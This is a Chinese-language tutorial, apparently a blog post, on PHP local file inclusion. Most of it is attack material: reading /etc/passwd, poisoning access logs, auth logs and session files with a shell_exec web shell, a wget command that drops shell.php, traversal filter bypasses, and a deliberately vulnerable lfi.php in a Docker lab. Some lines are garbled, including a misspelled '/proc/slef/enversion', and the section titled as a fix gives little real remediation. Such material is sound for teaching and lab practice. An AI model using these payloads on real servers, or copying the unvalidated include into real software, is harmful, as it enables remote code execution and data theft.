什麼是 LFI
include 引入其他 php 檔案的時候,沒有去驗證輸入的值或是惡意攻擊者繞過驗證,導致敏感資料外洩 ( etc/passwd ) ,而敏感資料外洩的資料是在伺服器 local 端,所以這個漏洞叫做 local file inclusion。LFI 產生的原因
include()
include_once()
require()
require_once
fopen()
file_get_contents()
LFI 利用方式
feifei.tw/?p=/etc/passwd
 
 
nc feifei.tw 80 注入一段 php 惡意程式碼
<?php echo shell_exec($_GET['cmd']);?>
 
User-Agent 動手腳/var/log/apache2/access.log
/var/log/httpd/access_log
 
feifei.tw/?p=/var/log/apache2/access.log&cmd=id
ssh '<?php echo shell_exec($_GET['cmd']);?>'@192.168.1.1
/var/log/auth.log /var/log/secure
/var/lib/php/session
<?php
session_start();
$tmp=$_GET['tmp'];
$_SESSION["tmp"]=$tmp;
?>
feifei.tw/session.php?tmp=<?php echo shell_exec($_GET['cmd']);?>
/var/lib/php/session
sess_<SESSIONID>
<SESSIONID>可以透過開發者工具查看feifei.tw/?p=/var/lib/php/session/sess_<SESSIONID>&cmd=id
/proc/slef/enversion LFI  to RCE
/proc/slef/enversion
User-Agent 塞入惡意程式碼 <?php system('wget http://feifei.tw/shell.txt -O shell.php');?>
http://vul.feifei.tw/shell.php GetshellPHP 語言中的偽協議
LFI 修復方法
allow_url_fopen = On (是否允許遠端伺服器的 url )與 allow_url_include=on (是否允許包含遠端伺服器的 url )../../../etc/passwd
/etc/passwd
../ → path.replaceAll('../', '')
....//....//....//
....// 中間 ../ 被過濾掉....\/....\/....\/
..%c0%af or ..%252f
filename=/var/www/images/../../../etc/passwd
filename=../../../etc/passwd%00.png
lfi.php
<?php
   $file = $_GET['a'];
   if(isset($file)){
       include($file);
   }
?>
docker-compose.yml
version: "2"
services:
    web:
        image: php:7-apache
        ports: 
            - "8003:80"
        volumes:
            - ./server:/var/www/html/
這手法我在自己的系統上,還滿常用的~~原來是 injection XD
如果只是測試用就還好 XDD
如果是產品記得上線要拔掉